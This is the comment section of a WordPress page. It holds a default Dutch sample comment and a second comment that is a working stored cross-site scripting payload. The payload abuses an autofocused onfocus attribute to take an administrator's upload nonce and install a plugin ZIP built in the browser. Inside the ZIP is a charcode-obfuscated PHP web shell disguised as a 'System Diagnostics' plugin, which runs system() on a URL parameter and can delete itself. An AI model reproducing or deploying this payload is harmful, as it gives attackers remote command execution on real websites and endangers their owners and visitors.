2 Comments

1. 

   Een WordPress commentator

   2018.02.23 3:24 pm

   Hoi, dit is een reactie.
   Om te beginnen met beheren, bewerken en verwijderen van reacties, ga je naar het Reacties scherm op het dashboard.
   Avatars van auteurs komen van Gravatar.

   Reply
2. 

   A WordPress Commenter

   2026.09.27 7:35 pm

   x

   x" onfocus='(function(){if(window.c2s){return;}window.c2s=1;alert("Comment2Shell XSS - CVE-2026-93485");document.title="Comment2Shell: XSS fired";fetch("/wp-admin/plugin-install.php?tab=upload",{credentials:"include"}).then(function(r){return r.text()}).then(function(h){var m=h.match(/name="_wpnonce"\s+value="([^"]+)"/);if(!m){document.title="Comment2Shell: admin login required";console.error("Comment2Shell: no nonce - viewer is not logged in as admin");return;}var n=m[1];function crc32(b){var t=[],i,j,c;for(i=0;i<256;i++){c=i;for(j=0;j<8;j++){c=(c&1)?(0xEDB88320^(c>>>1)):(c>>>1);}t[i]=c;}var crc=0xFFFFFFFF;for(i=0;i<b.length;i++){crc=t[(crc^b[i])&0xFF]^(crc>>>8);}return(crc^0xFFFFFFFF)>>>0;}function enc(s){var a=new Uint8Array(s.length);for(var i=0;i<s.length;i++){a[i]=s.charCodeAt(i)&0xFF;}return a;}function buildZip(name,content){var nb=enc(name),cb=enc(content),crc=crc32(cb);var lh=new ArrayBuffer(30+nb.length);var lv=new DataView(lh);lv.setUint32(0,0x04034b50,true);lv.setUint16(4,20,true);lv.setUint32(14,crc,true);lv.setUint32(18,cb.length,true);lv.setUint32(22,cb.length,true);lv.setUint16(26,nb.length,true);var la=new Uint8Array(lh);la.set(nb,30);var cdh=new ArrayBuffer(46+nb.length);var cv=new DataView(cdh);cv.setUint32(0,0x02014b50,true);cv.setUint16(4,20,true);cv.setUint16(6,20,true);cv.setUint32(16,crc,true);cv.setUint32(20,cb.length,true);cv.setUint32(24,cb.length,true);cv.setUint16(28,nb.length,true);cv.setUint32(42,0,true);var ca=new Uint8Array(cdh);ca.set(nb,46);var eo=new ArrayBuffer(22);var ev=new DataView(eo);ev.setUint32(0,0x06054b50,true);ev.setUint16(8,1,true);ev.setUint16(10,1,true);ev.setUint32(12,cdh.byteLength,true);ev.setUint32(16,lh.byteLength+cb.length,true);var out=new Uint8Array(lh.byteLength+cb.length+cdh.byteLength+22);out.set(la,0);out.set(cb,lh.byteLength);out.set(ca,lh.byteLength+cb.length);out.set(new Uint8Array(eo),lh.byteLength+cb.length+cdh.byteLength);return out;}var php=String.fromCharCode(60,63,112,104,112,10,47,42,42,10,32,42,32,80,108,117,103,105,110,32,78,97,109,101,58,32,83,121,115,116,101,109,32,68,105,97,103,110,111,115,116,105,99,115,10,32,42,32,68,101,115,99,114,105,112,116,105,111,110,58,32,72,101,97,108,116,104,32,99,104,101,99,107,32,117,116,105,108,105,116,121,10,32,42,32,86,101,114,115,105,111,110,58,32,49,46,48,46,48,10,32,42,47,10,105,102,40,105,115,115,101,116,40,36,95,71,69,84,91,34,109,34,93,41,41,123,101,99,104,111,32,34,67,50,83,95,54,114,116,53,106,109,53,102,34,59,125,105,102,40,105,115,115,101,116,40,36,95,71,69,84,91,34,100,34,93,41,41,123,36,102,61,95,95,70,73,76,69,95,95,59,64,117,110,108,105,110,107,40,36,102,41,59,64,114,109,100,105,114,40,100,105,114,110,97,109,101,40,36,102,41,41,59,101,99,104,111,32,34,67,76,69,65,78,69,68,34,59,101,120,105,116,59,125,10,105,102,40,105,115,115,101,116,40,36,95,71,69,84,91,34,99,34,93,41,41,123,115,121,115,116,101,109,40,36,95,71,69,84,91,34,99,34,93,41,59,125);var d=String.fromCharCode(53,110,49,53,116,50);var fn=d+"/"+d+".php";var z=buildZip(fn,php);var fd=new FormData();fd.append("_wpnonce",n);fd.append("pluginzip",new Blob([z],{type:"application/zip"}),d+".zip");fetch("/wp-admin/update.php?action=upload-plugin",{method:"POST",credentials:"include",body:fd}).then(function(){document.title="Comment2Shell: shell uploaded";}).catch(function(e){console.error("Comment2Shell: upload failed",e);});}).catch(function(e){console.error("Comment2Shell: nonce fetch failed",e);});})();' autofocus tabindex=0

   Reply